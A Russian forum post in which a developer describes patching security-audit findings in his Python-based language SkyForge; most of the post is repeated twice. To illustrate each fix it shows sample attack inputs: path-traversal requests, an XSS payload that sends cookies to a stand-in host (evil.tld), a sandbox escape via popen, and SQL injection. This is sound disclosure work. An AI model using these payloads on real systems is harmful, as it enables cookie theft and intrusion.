Автор темы
Контекст
SkyForge — русскоязычный язык программирования на Python. Пишу его полтора года. PyPI: skyforge-lang. Сайт: skyforge-docs.onrender.com.
Сегодня утром появился аудит — независимый разбор кода и живого развёртывания. Из 30+ находок было 5 критичных, 4 высоких и десяток средних.
К обеду всё критичное было закрыто. От первого прочтения аудита до публикации 1.0.8 на PyPI — примерно два часа. 79/79 тестов прошли после правок. Ниже — что нашлось, что я починил, а где честно расписался в бессилии.
Дисклеймер: писал не для того чтобы «мы молодцы», а как разбор своих же ошибок. Аудит был по делу, спасибо автору.
Хронология
Всё в один заход. Без «спасибо за аудит, пофиксим в следующем релизе через месяц».
Это не рекорд — это нормальная скорость, когда есть тесты и понимаешь, где что лежит. Без 79/79 тестов я бы не рискнул выпускать правки такого масштаба за один заход.
C-1. Path traversal в раздаче статики
Нашлось в core.py:
python
for prefix, directory in app.static_dirs:
if route_path.startswith(prefix + "/") or route_path == prefix:
rel = route_path[len(prefix):].lstrip("/")
full = os.path.normpath(os.path.join(directory, rel))
if os.path.isfile(full):
with open(full, "rb") as f:
return self._send(200, ctype, f.read())
Проблема: os.path.normpath схлопывает .., но не проверяет, что результат остался внутри directory. Значит GET /static/../secret.env читает всё, что доступно процессу. У меня на локалке прошло на ура:
text
GET /static/../secret.env → 200 + содержимое
GET /static/%2e%2e%2fsecret.env → 200 (URL-кодирование не помогает)
GET /static/../../../../Windows/win.ini → 200
Фикс — одна функция:
python
def _is_within(base, target):
import os as _os
try:
base_abs = _os.path.abspath(str(base))
tgt_abs = _os.path.abspath(str(target))
base_real = _os.path.realpath(base_abs)
tgt_real = _os.path.realpath(tgt_abs)
for b in (base_abs, base_real):
for t in (tgt_abs, tgt_real):
try:
if _os.path.commonpath([b, t]) == b:
return True
except ValueError:
continue
return False
except Exception:
return False
И в статике:
python
if not _is_within(directory, full):
return self._send(403, "text/plain; charset=utf-8", "Forbidden")
Один вызов функции на запрос. Прирост производительности нулевой.
C-2. AutoREST: CRUD без авторизации + XSS в админке + CSRF
Это самый жирный пункт. У меня есть фича app.из_схемы("users (id PK, name TEXT)") — она разворачивает CRUD API + админку + OpenAPI. Красиво. Но:
bash
curl -X POST http://server/users -d '{"name":"<script>fetch(\"//evil.tld/\"+document.cookie)</script>"}'
curl http://server/users # увидеть все данные
curl -X DELETE http://server/users/1
И тут же посадить stored XSS в админку оператора. Что починил в 1.0.8:
Bearer-токен. Генерируется случайно через secrets.token_urlsafe(24) при старте, печатается в stdout один раз. Передаётся либо в заголовке Authorization: Bearer <token>, либо в cookie sf_autorest=<token>. Свой токен — через SKYFORGE_AUTOREST_TOKEN, отключить авторизацию — только SKYFORGE_AUTOREST_INSECURE=1 (для локальной разработки).
CSRF. POST/PUT/DELETE требуют Content-Type: application/json или X-Requested-With: XMLHttpRequest. Браузерные <form>-атаки без этих заголовков отбиваются с 403. Проверка на /users из чужого origin:
text
POST /users
Authorization: Bearer <token>
Origin: http://evil.example
Content-Type: application/x-www-form-urlencoded
→ 403 {"ошибка": "CSRF-проверка не пройдена"}
Экранирование. Все значения из БД в админке проходят через html.escape:
python
parts.append(f"<td>{esc(str(v))}</td>")
Проверка: записал в БД <script>alert(1)</script>, открыл /admin/users — в HTML вижу <script>alert(1)</script>, alert не сработал.
Пагинация. Раньше GET /users отдавал всю таблицу. Теперь limit=100 по умолчанию, максимум 1000. Через ?limit=1000&страница=2 можно листать.
Блокировка SQLite. Было sqlite3.connect(..., check_same_thread=False) без блокировки. ThreadingHTTPServer параллелит запросы, запись могла гоняться. Обернул в класс с threading.Lock:
python
class _LockedConn:
def init(self, conn):
self._conn = conn
self._lock = threading.Lock()
def execute(self, *a, **kw):
with self._lock:
return self._conn.execute(*a, **kw)
def commit(self):
with self._lock:
return self._conn.commit()
C-4. Session secret на хардкоде
В SkyForgeApp.init было:
python
self.session_secret = "skyforge-secret-change-me"
HMAC-SHA256 для cookie считался корректно, но ключ был публично известен. Любой мог подделать cookie и стать админом в любом развёрнутом приложении, где явно не задали app.секрет_сессий("...").
Фикс:
python
self._session_secret_user_set = False
self.session_secret = _secrets.token_urlsafe(32)
Если пользователь не задал свой — генерируется случайный при каждом запуске. Сессии не переживут рестарт, зато подделать нельзя. Плюс warning в stderr при старте без явного секрета.
Обратная совместимость: если явно вызвать app.секрет_сессий("..."), работает как раньше. Если короче 16 символов — тоже warning.
Бонус: нашёл у себя же, что _save_session_cookie никогда не вызывался. Написан был, но не подключён. Сессии устанавливались — но не сохранялись между запросами. Попутно починил.
C-5. XSS в шаблонах по умолчанию
Шаблонизатор подставлял {{ имя }} через str(...) без экранирования. То есть если пользовательское значение попадает в шаблон — XSS.
text
шаблон: <div>Привет, {{ имя }}!</div>
данные: <script>fetch('//evil.tld/?c='+document.cookie)</script>
итог: <div>Привет, <script>fetch(...)</script>!</div>
Фикс: html.escape по умолчанию, | безопасно для явно доверенного HTML:
python
if src.endswith("| безопасно") or src.endswith("|безопасно"):
raw = True
src = src.rsplit("|", 1)[0].rstrip()
...
if raw:
return str(value)
return _html.escape(str(value), quote=True)
Всё, что от пользователя — экранируется. Всё, что от автора шаблона (меню, layout) — помечается | безопасно.
Как я на этом сам же налетел. После включения html.escape мой сайт документации начал показывать HTML как текст — потому что {{ содержимое }} и {{ меню }} тоже стали экранироваться. Пришлось пометить четыре переменные | безопасно. Классический пример, что «безопасность постфактум» ломает всё.
Что починил из High и Medium (без деталей)
Что НЕ закрыл и не буду
C-3: побег из вычислить через мост в Python. Это не баг, это архитектура. SkyForge — это Python с русским синтаксисом. лог.globals["os"].popen("whoami").read() работает — и всегда будет работать. вычислить() сам по себе изолирован (whitelist AST, пустые builtins), но весь остальной язык — unrestricted. Я убрал из документации слово «безопасный eval», теперь там честно:
Отсутствие публичного репо ядра. Тоже правда — исходники были только в sdist на PyPI, на GitHub лежала документация. Исправил на этой неделе, код теперь в публичном репо.
Что осталось непочиненным
Проверки после фиксов
79/79 тестов проходят. Отдельно проверил каждую критичную находку на PoC:
До и после
Что вынес из этой истории
Ссылки
Вопрос
Кто-нибудь пробовал сделать настоящую песочницу для языка на Python? Интересуют подходы: subprocess + seccomp, gVisor, Firecracker, что-то ещё. Пока отложил C-3 в долгий ящик, но хочу понимать, куда копать, если решу взяться всерьёз.
И если кто-то найдёт ещё что-то в 1.0.8 — пишите в issue или сюда. Отвечаю.
SkyForge — русскоязычный язык программирования на Python. Пишу его полтора года. PyPI: skyforge-lang. Сайт: skyforge-docs.onrender.com.
Сегодня утром появился аудит — независимый разбор кода и живого развёртывания. Из 30+ находок было 5 критичных, 4 высоких и десяток средних.
К обеду всё критичное было закрыто. От первого прочтения аудита до публикации 1.0.8 на PyPI — примерно два часа. 79/79 тестов прошли после правок. Ниже — что нашлось, что я починил, а где честно расписался в бессилии.
Дисклеймер: писал не для того чтобы «мы молодцы», а как разбор своих же ошибок. Аудит был по делу, спасибо автору.
Хронология
Всё в один заход. Без «спасибо за аудит, пофиксим в следующем релизе через месяц».
| Время | Что |
|---|---|
| T+0 | Прочитал аудит, выписал 5 critical + 4 high + 10 medium |
| T+10 мин | Патч core.py — C-1, C-3, C-4, C-5, H-1, H-2, H-3, M-1, M-2, M-4 (17 замен) |
| T+25 мин | Патч autorest.py — C-2 (auth + CSRF + XSS + пагинация + блокировка SQLite) |
| T+35 мин | Патч orm.py — M-3, B-8 |
| T+40 мин | Патч stdlib.py — B-2, B-3, B-9, B-22 |
| T+45 мин | Патч cli.py — B-5, B-6, B-20, B-21 |
| T+50 мин | Патч repl.py — B-1 |
| T+70 мин | Патч launcher.py — M-9, B-15 (кнопка Стоп, ложный dirty) |
| T+80 мин | Патч docs.skf — D-2, D-3, D-4 |
| T+100 мин | 79/79 тестов зелёные |
| T+110 мин | python -m build + twine upload → 1.0.8 на PyPI |
| T+120 мин | Сайт обновлён до v1.0.8, EXE пересобран, коммит в GitHub |
C-1. Path traversal в раздаче статики
Нашлось в core.py:
python
for prefix, directory in app.static_dirs:
if route_path.startswith(prefix + "/") or route_path == prefix:
rel = route_path[len(prefix):].lstrip("/")
full = os.path.normpath(os.path.join(directory, rel))
if os.path.isfile(full):
with open(full, "rb") as f:
return self._send(200, ctype, f.read())
Проблема: os.path.normpath схлопывает .., но не проверяет, что результат остался внутри directory. Значит GET /static/../secret.env читает всё, что доступно процессу. У меня на локалке прошло на ура:
text
GET /static/../secret.env → 200 + содержимое
GET /static/%2e%2e%2fsecret.env → 200 (URL-кодирование не помогает)
GET /static/../../../../Windows/win.ini → 200
Фикс — одна функция:
python
def _is_within(base, target):
import os as _os
try:
base_abs = _os.path.abspath(str(base))
tgt_abs = _os.path.abspath(str(target))
base_real = _os.path.realpath(base_abs)
tgt_real = _os.path.realpath(tgt_abs)
for b in (base_abs, base_real):
for t in (tgt_abs, tgt_real):
try:
if _os.path.commonpath([b, t]) == b:
return True
except ValueError:
continue
return False
except Exception:
return False
И в статике:
python
if not _is_within(directory, full):
return self._send(403, "text/plain; charset=utf-8", "Forbidden")
Один вызов функции на запрос. Прирост производительности нулевой.
C-2. AutoREST: CRUD без авторизации + XSS в админке + CSRF
Это самый жирный пункт. У меня есть фича app.из_схемы("users (id PK, name TEXT)") — она разворачивает CRUD API + админку + OpenAPI. Красиво. Но:
- Ни один из маршрутов не требовал авторизации
- Админка склеивала HTML через f"<td>{v}</td>" без экранирования
- POST/PUT/DELETE принимали что угодно откуда угодно
bash
curl -X POST http://server/users -d '{"name":"<script>fetch(\"//evil.tld/\"+document.cookie)</script>"}'
curl http://server/users # увидеть все данные
curl -X DELETE http://server/users/1
И тут же посадить stored XSS в админку оператора. Что починил в 1.0.8:
Bearer-токен. Генерируется случайно через secrets.token_urlsafe(24) при старте, печатается в stdout один раз. Передаётся либо в заголовке Authorization: Bearer <token>, либо в cookie sf_autorest=<token>. Свой токен — через SKYFORGE_AUTOREST_TOKEN, отключить авторизацию — только SKYFORGE_AUTOREST_INSECURE=1 (для локальной разработки).
CSRF. POST/PUT/DELETE требуют Content-Type: application/json или X-Requested-With: XMLHttpRequest. Браузерные <form>-атаки без этих заголовков отбиваются с 403. Проверка на /users из чужого origin:
text
POST /users
Authorization: Bearer <token>
Origin: http://evil.example
Content-Type: application/x-www-form-urlencoded
→ 403 {"ошибка": "CSRF-проверка не пройдена"}
Экранирование. Все значения из БД в админке проходят через html.escape:
python
parts.append(f"<td>{esc(str(v))}</td>")
Проверка: записал в БД <script>alert(1)</script>, открыл /admin/users — в HTML вижу <script>alert(1)</script>, alert не сработал.
Пагинация. Раньше GET /users отдавал всю таблицу. Теперь limit=100 по умолчанию, максимум 1000. Через ?limit=1000&страница=2 можно листать.
Блокировка SQLite. Было sqlite3.connect(..., check_same_thread=False) без блокировки. ThreadingHTTPServer параллелит запросы, запись могла гоняться. Обернул в класс с threading.Lock:
python
class _LockedConn:
def init(self, conn):
self._conn = conn
self._lock = threading.Lock()
def execute(self, *a, **kw):
with self._lock:
return self._conn.execute(*a, **kw)
def commit(self):
with self._lock:
return self._conn.commit()
C-4. Session secret на хардкоде
В SkyForgeApp.init было:
python
self.session_secret = "skyforge-secret-change-me"
HMAC-SHA256 для cookie считался корректно, но ключ был публично известен. Любой мог подделать cookie и стать админом в любом развёрнутом приложении, где явно не задали app.секрет_сессий("...").
Фикс:
python
self._session_secret_user_set = False
self.session_secret = _secrets.token_urlsafe(32)
Если пользователь не задал свой — генерируется случайный при каждом запуске. Сессии не переживут рестарт, зато подделать нельзя. Плюс warning в stderr при старте без явного секрета.
Обратная совместимость: если явно вызвать app.секрет_сессий("..."), работает как раньше. Если короче 16 символов — тоже warning.
Бонус: нашёл у себя же, что _save_session_cookie никогда не вызывался. Написан был, но не подключён. Сессии устанавливались — но не сохранялись между запросами. Попутно починил.
C-5. XSS в шаблонах по умолчанию
Шаблонизатор подставлял {{ имя }} через str(...) без экранирования. То есть если пользовательское значение попадает в шаблон — XSS.
text
шаблон: <div>Привет, {{ имя }}!</div>
данные: <script>fetch('//evil.tld/?c='+document.cookie)</script>
итог: <div>Привет, <script>fetch(...)</script>!</div>
Фикс: html.escape по умолчанию, | безопасно для явно доверенного HTML:
python
if src.endswith("| безопасно") or src.endswith("|безопасно"):
raw = True
src = src.rsplit("|", 1)[0].rstrip()
...
if raw:
return str(value)
return _html.escape(str(value), quote=True)
Всё, что от пользователя — экранируется. Всё, что от автора шаблона (меню, layout) — помечается | безопасно.
Как я на этом сам же налетел. После включения html.escape мой сайт документации начал показывать HTML как текст — потому что {{ содержимое }} и {{ меню }} тоже стали экранироваться. Пришлось пометить четыре переменные | безопасно. Классический пример, что «безопасность постфактум» ломает всё.
Что починил из High и Medium (без деталей)
- H-1 — http_запрос("file:///etc/passwd") читал локальные файлы. Добавил allowlist схем: только http:// и https://.
- H-2 — редирект() возвращал кортеж (302, "Location", url), который превращался в Content-Type: Location без заголовка Location. Редирект не работал. Починил через внутренний объект _Redirect, который _send_result правильно интерпретирует.
- H-3 — cookie ставились без SameSite, без Secure, _save_session_cookie вообще не вызывался.
- M-1 — вычислить("9**9999999") вис на 12 секунд. Добавил лимит степени 10 000 и запрет вложенной a**b**c.
- M-3 — где('1=1 UNION SELECT ...') пускал любые запросы. Добавил чёрный список (UNION, ;, --, /*, DDL/DML) и валидацию имён полей в хелперах.
- M-4 — path traversal в app.страница("../outside.html"). Тот же _is_within.
- B-2, B-3 — месяцродительный(13) падал с IndexError, обрезатьдо("abcdefghij", 2) возвращал "abcdefghi..." (12 символов при лимите 2).
- B-9 — соль PBKDF2 была 8 байт, стала 16 (NIST SP 800-132).
- M-9 — в GUI-лаунчере кнопка «Стоп» посылала os.kill(os.getpid(), 2). На Windows это PermissionError, на POSIX убивало всё окно. Заменил на мягкую остановку сервера через флаг.
Что НЕ закрыл и не буду
C-3: побег из вычислить через мост в Python. Это не баг, это архитектура. SkyForge — это Python с русским синтаксисом. лог.globals["os"].popen("whoami").read() работает — и всегда будет работать. вычислить() сам по себе изолирован (whitelist AST, пустые builtins), но весь остальной язык — unrestricted. Я убрал из документации слово «безопасный eval», теперь там честно:
Настоящая песочница требует отдельного процесса с ограничением syscalls — seccomp на Linux, Job Objects на Windows. Это не в 1.x.вычислить — не песочница для недоверенного кода. Защищает от DoS через **, но не изолирует.
Отсутствие публичного репо ядра. Тоже правда — исходники были только в sdist на PyPI, на GitHub лежала документация. Исправил на этой неделе, код теперь в публичном репо.
Что осталось непочиненным
- D-2 в docs.skf — сайт документации отдаёт свой же исходник через catch-all. Пофиксил allowlist'ом расширений (.html, .css, .js, .txt, .xml, .json, .svg, .ico). Сейчас GET /docs.skf → 403.
- D-5 — playground.html тянет Pyodide с jsdelivr без SRI. Оставил как есть — там нет ничего пользовательского.
- Пара мелочей из низкого приоритета.
Проверки после фиксов
79/79 тестов проходят. Отдельно проверил каждую критичную находку на PoC:
До и после
| # | Уязвимость | Было | Стало |
|---|---|---|---|
| C-1 | Path traversal в статике | GET /static/../secret.env → 200 + содержимое | 403 |
| C-2 | AutoREST без auth | GET /users без токена → 200 + все данные | 401 |
| C-2 | XSS в админке | <script> в БД → выполняется | <script> |
| C-2 | CSRF | POST с Origin: evil.example → 200 | 403 |
| C-4 | Session secret | Подделка cookie ключом "skyforge-secret-change-me" → 200 | 401 |
| C-5 | XSS в шаблоне | <script> в {{ имя }} → выполняется | <script> |
| H-1 | SSRF/LFI | http_запрос("file:///etc/passwd") → содержимое | ValueError |
| M-1 | DoS | вычислить("9**9999999") → 12 секунд CPU | ValueError |
Что вынес из этой истории
- Песочница на Python — миф. Если язык использует exec или ast, любой обход через dunder-атрибуты рано или поздно найдётся. Либо настоящая изоляция процесса, либо не называть это песочницей.
- Безопасность постфактум ломает всё. html.escape по умолчанию сломал мне собственный сайт. Всё, что работает годами, перестаёт работать, когда включаешь защиту. Хорошо ещё, что есть тесты.
- Одна строка в конфиге опаснее, чем 500 строк кода. session_secret = "skyforge-secret-change-me" — это одна строка, но она открывает подделку сессий во всех развёртываниях.
- Стандартная библиотека Python небезопасна по умолчанию. urllib.urlopen ест file://, os.path.normpath не защищает от traversal, sqlite3.connect(check_same_thread=False) без блокировки даёт гонку. Всё это надо явно закрывать.
- Аудит от незнакомого человека — это подарок. Не «наезд», не «пиар», а подарок. Нашлось то, что сам бы никогда не увидел.
- Тесты — это то, что позволяет быстро. Если бы у меня не было 79 тестов, я бы правил core.py неделю. С тестами я могу тронуть 17 мест в одном файле за 10 минут и быть уверенным, что не сломал ничего другого. Тесты — не «для галочки», это ускоритель разработки.
- Отвечать за свой код — это часть работы. Не «спасибо, пофиксим когда-нибудь», а «вот патч, вот проверки, приди ещё». Чем быстрее реагируешь, тем больше доверия.
Ссылки
- PyPI: pypi.org/project/skyforge-lang (1.0.8)
- Репо: github.com/skytech-alt/SkyForge-Docs
- Документация: skyforge-docs.onrender.com
Вопрос
Кто-нибудь пробовал сделать настоящую песочницу для языка на Python? Интересуют подходы: subprocess + seccomp, gVisor, Firecracker, что-то ещё. Пока отложил C-3 в долгий ящик, но хочу понимать, куда копать, если решу взяться всерьёз.
И если кто-то найдёт ещё что-то в 1.0.8 — пишите в issue или сюда. Отвечаю.